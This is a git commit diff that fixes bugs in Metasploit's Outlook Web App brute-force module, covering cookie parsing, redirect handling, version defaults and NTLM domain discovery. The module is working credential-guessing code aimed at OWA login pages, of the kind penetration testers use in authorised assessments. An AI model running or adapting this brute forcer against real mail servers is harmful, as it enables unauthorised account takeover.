Land #4094, fixes for OWA brute forcer

Fixes #4083

Thanks TONS to @jhart-r7 for doing most of the work on this!
This commit is contained in:
Tod Beardsley 2014-11-05 14:00:26 -06:00
commit cca30b536f
No known key found for this signature in database
GPG Key ID: 1EFFB682ADB9F193
1 changed files with 31 additions and 20 deletions

View File

@ -18,8 +18,7 @@ class Metasploit3 < Msf::Auxiliary
super(
'Name' => 'Outlook Web App (OWA) Brute Force Utility',
'Description' => %q{
This module tests credentials on OWA 2003, 2007, 2010, 2013 servers. The default
action is set to OWA 2010.
This module tests credentials on OWA 2003, 2007, 2010, and 2013 servers.
},
'Author' =>
[
@ -70,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary
}
]
],
'DefaultAction' => 'OWA_2010',
'DefaultAction' => 'OWA_2013',
'DefaultOptions' => {
'SSL' => true
}
@ -93,12 +92,7 @@ class Metasploit3 < Msf::Auxiliary
deregister_options('BLANK_PASSWORDS', 'RHOSTS','PASSWORD','USERNAME')
end
def run
vhost = datastore['VHOST'] || datastore['RHOST']
print_status("#{msg} Testing version #{action.name}")
def setup
# Here's a weird hack to check if each_user_pass is empty or not
# apparently you cannot do each_user_pass.empty? or even inspect() it
isempty = true
@ -106,7 +100,13 @@ class Metasploit3 < Msf::Auxiliary
isempty = false
break
end
print_error("No username/password specified") if isempty
raise ArgumentError, "No username/password specified" if isempty
end
def run
vhost = datastore['VHOST'] || datastore['RHOST']
print_status("#{msg} Testing version #{action.name}")
auth_path = action.opts['AuthPath']
inbox_path = action.opts['InboxPath']
@ -204,20 +204,31 @@ class Metasploit3 < Msf::Auxiliary
end
#No password change required moving on.
reason = res.headers['location'].split('reason=')[1]
unless location = res.headers['location']
print_error("#{msg} No HTTP redirect. This is not OWA 2013, aborting.")
return :abort
end
reason = location.split('reason=')[1]
if reason == nil
headers['Cookie'] = 'PBack=0;' << res.get_cookies
else
#Login didn't work. no point on going on.
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'")
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})")
return :Skip_pass
end
else
# these two lines are the authentication info
# The authentication info is in the cookies on this response
cookies = res.get_cookies
sessionid = 'sessionid=' << cookies.split('sessionid=')[1].split('; ')[0]
cadata = 'cadata=' << cookies.split('cadata=')[1].split('; ')[0]
headers['Cookie'] = 'PBack=0; ' << sessionid << '; ' << cadata
cookie_header = 'PBack=0'
%w(sessionid cadata).each do |necessary_cookie|
if cookies =~ /#{necessary_cookie}=([^;]*)/
cookie_header << "; #{Regexp.last_match(1)}"
else
print_error("#{msg} Missing #{necessary_cookie} cookie. This is not OWA 2010, aborting")
return :abort
end
end
headers['Cookie'] = cookie_header
end
begin
@ -236,8 +247,8 @@ class Metasploit3 < Msf::Auxiliary
return :abort
end
if res.code == 302
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'")
if res.redirect?
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}' (response was a #{res.code} redirect)")
return :skip_pass
end
@ -256,7 +267,7 @@ class Metasploit3 < Msf::Auxiliary
report_auth_info(report_hash)
return :next_user
else
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'")
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}' (response body did not match)")
return :skip_pass
end
end
@ -291,7 +302,7 @@ class Metasploit3 < Msf::Auxiliary
next
end
if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i)
if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i)
hash = res['WWW-Authenticate'].split('NTLM ')[1]
domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'')
print_good("Found target domain: " + domain)